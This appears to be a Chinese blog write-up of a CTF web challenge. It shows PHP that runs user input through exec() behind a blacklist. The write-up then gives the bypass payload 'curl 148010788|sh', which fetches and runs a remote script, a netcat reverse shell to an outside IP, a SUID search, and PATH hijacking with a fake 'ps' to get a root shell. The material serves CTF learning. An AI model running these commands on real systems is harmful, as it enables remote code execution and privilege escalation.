首页 > 技术文章 > bmzctf刷题 WEB_penetration

murkuo 2021-06-18 22:38 原文

bmzctf刷题 WEB_penetration

直接上代码

<?php
highlight_file(__FILE__);
if(isset($_GET['ip'])){
    $ip = $_GET['ip'];
    $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
    $blacklist = array_merge($_);
    foreach ($blacklist as $blacklisted) {
        if (strlen($ip) <= 18){
            if (preg_match ('/' . $blacklisted . '/im', $ip)) {
                die('nonono');
            }else{
            exec($ip);
            }
            
        }
        else{
        die("long");
        }
    }
    
}
?>

传入一个GET型的ip参数,设置一个_变量,将_作为$blacklist
ip经过两重判断,一是长度小于18,二是balcklist黑名单匹配,匹配到的将敏感词替换为/im

步骤1 执行命令

屏蔽了好多关键“字”,由于是直接屏蔽“字”的,好像饶不了,而且“flag”也在里面
目前来看可以执行的是curl
思路是curl请求服务器,得到服务器上的数据,将得到的数据当作命令执行

R9FqmD.png

写入一句话bash
R9kjDU.png
另一个82.156.28.224开nc监听112端口
R9kQnU.png

注意不要使用除了80端口外其他的端口,长度会超高18个字节限制
将ip地址十进制编码一下,同样为了减少长度

R9AEDO.png
十进制后结果148010788
可以ping一下试试
R9An5d.png

执行curl命令
?ip=curl 148010788|sh
R9AM8I.png
R9AlxP.png

权限是www-data
没有在常见路径找到flag,搜索也没有找到
推测应该要提权
R9AYVg.png

find / -user root -perm -4000 -print 2>/dev/null
搜索root权限运行的服务
R9AfR1.png
发现里面有个奇怪的love??
运行下试试
R9AxQP.png
返回了ps命令的结果
在这里wp里面直接就把love文件下载了,但是。。。nc怎么下载文件啊。。。。
在这里我还试了一下msf,但是没有回显

R9Z5Mq.png
R9ZboF.png

创建一个假的ps命令在/tmp目录下。。。(万能的tmp目录)

cd /tmp
echo "/bin/bash" >ps
chmod 777 ps
export PATH=/tmp:$PATH //将'/tmp'添加到PATH变量最前面

这时候执行love程序,就相当于用root权限开了一个bash
R9Gz6S.png

推荐阅读